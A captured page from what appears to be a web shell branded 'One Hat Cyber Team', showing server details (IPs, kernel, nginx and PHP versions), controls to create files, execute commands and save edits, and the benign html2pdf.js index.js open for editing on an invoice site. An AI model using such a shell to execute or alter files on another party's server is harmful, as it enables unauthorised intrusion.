⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
html2pdf.js
/
src
/
Edit File: index.js
import Worker from './worker.js'; import './plugin/jspdf-plugin.js'; import './plugin/pagebreaks.js'; import './plugin/hyperlinks.js'; /** * Generate a PDF from an HTML element or string using html2canvas and jsPDF. * * @param {Element|string} source The source element or HTML string. * @param {Object=} opt An object of optional settings: 'margin', 'filename', * 'image' ('type' and 'quality'), and 'html2canvas' / 'jspdf', which are * sent as settings to their corresponding functions. */ var html2pdf = function html2pdf(src, opt) { // Create a new worker with the given options. var worker = new html2pdf.Worker(opt); if (src) { // If src is specified, perform the traditional 'simple' operation. return worker.from(src).save(); } else { // Otherwise, return the worker for new Promise-based operation. return worker; } } html2pdf.Worker = Worker; // Expose the html2pdf function. export default html2pdf;
Simpan